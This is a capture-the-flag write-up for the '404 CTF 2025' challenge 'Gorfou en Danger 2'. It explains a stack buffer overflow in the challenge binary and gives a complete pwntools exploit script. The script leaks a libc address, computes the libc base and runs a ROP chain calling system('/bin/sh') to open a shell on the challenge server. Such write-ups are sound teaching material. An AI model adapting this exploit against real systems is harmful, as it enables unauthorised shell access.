404 CTF 2025 - Gorfou en Danger 2

Challenge Overview
The binary is a classic buffer overflow challenge with the following properties:
- No stack canary
- No PIE (fixed addresses)
- Executable stack
- Partial RELRO
The program presents a menu and reads user input into a fixed-size buffer with an oversized read, allowing a stack overflow.
main.c Excerpts
void take_command() {
char command[0x100];
printf("> ");
read(0, command, 0x130);
printf("Commande inconnue\n");
}
void debug_info(void) {
printf("main address : %p\n", &main);
printf("printf address : %p\n", *(uint64_t *)0x403008);
void* local_var = NULL;
printf("Stack address : %p\n", &local_var);
return;
}
int main(void) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
menu();
printf("Terminal de contrôle à distance de la station orbilate Penrose\n");
while (1) {
take_command();
}
return 0;
}
- The
take_command
function reads 0x130 bytes into a 0x100 buffer, allowing a 48-byte overflow. - The
debug_info
function prints the address ofmain
, the address ofprintf
(from the GOT), and a stack address.
Exploitation Steps
- Leak a libc address: Overflow the buffer and overwrite the return address to call
debug_info
, then return tomain
for a second input. - Calculate libc base: Use the leaked
printf
address to compute the libc base. - Build a ROP chain: Overflow the buffer again, this time to call
system("/bin/sh")
using apop rdi; ret
gadget and proper stack alignment.
Exploit Code (No Comments)
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
exe = context.binary = ELF('./chall')
libc = ELF('./libc.so.6')
ld = ELF('./ld-linux-x86-64.so.2')
host = 'challenges.404ctf.fr'
port = 32464
def start():
if args.LOCAL:
return process('./chall')
else:
return remote(host, port)
DEBUG_INFO = 0x4004ed
MAIN_ADDR = 0x400584
io = start()
io.recvuntil(b"> ")
payload = b"A" * 264 + p64(DEBUG_INFO) + p64(MAIN_ADDR)
io.send(payload)
io.recvuntil(b"printf address : ")
leaked_address = int(io.recvline().strip(), 16)
libc.address = leaked_address - libc.sym["printf"]
system_address = libc.sym["system"]
binsh_address = next(libc.search(b"/bin/sh"))
pop_rdi = next(libc.search(asm("pop rdi; ret")))
ret = next(libc.search(asm("ret")))
io.recvuntil(b"> ")
rop_chain = p64(pop_rdi) + p64(binsh_address) + p64(ret) + p64(system_address)
payload = b"A" * 264 + rop_chain
io.send(payload)
io.interactive()
Key Points
- The first payload triggers a leak and returns to
main
for a second input. - The second payload executes a ROP chain to spawn a shell.
- Stack alignment is ensured with a
ret
gadget beforesystem
.
This approach reliably exploits the buffer overflow to gain shell access on the remote service.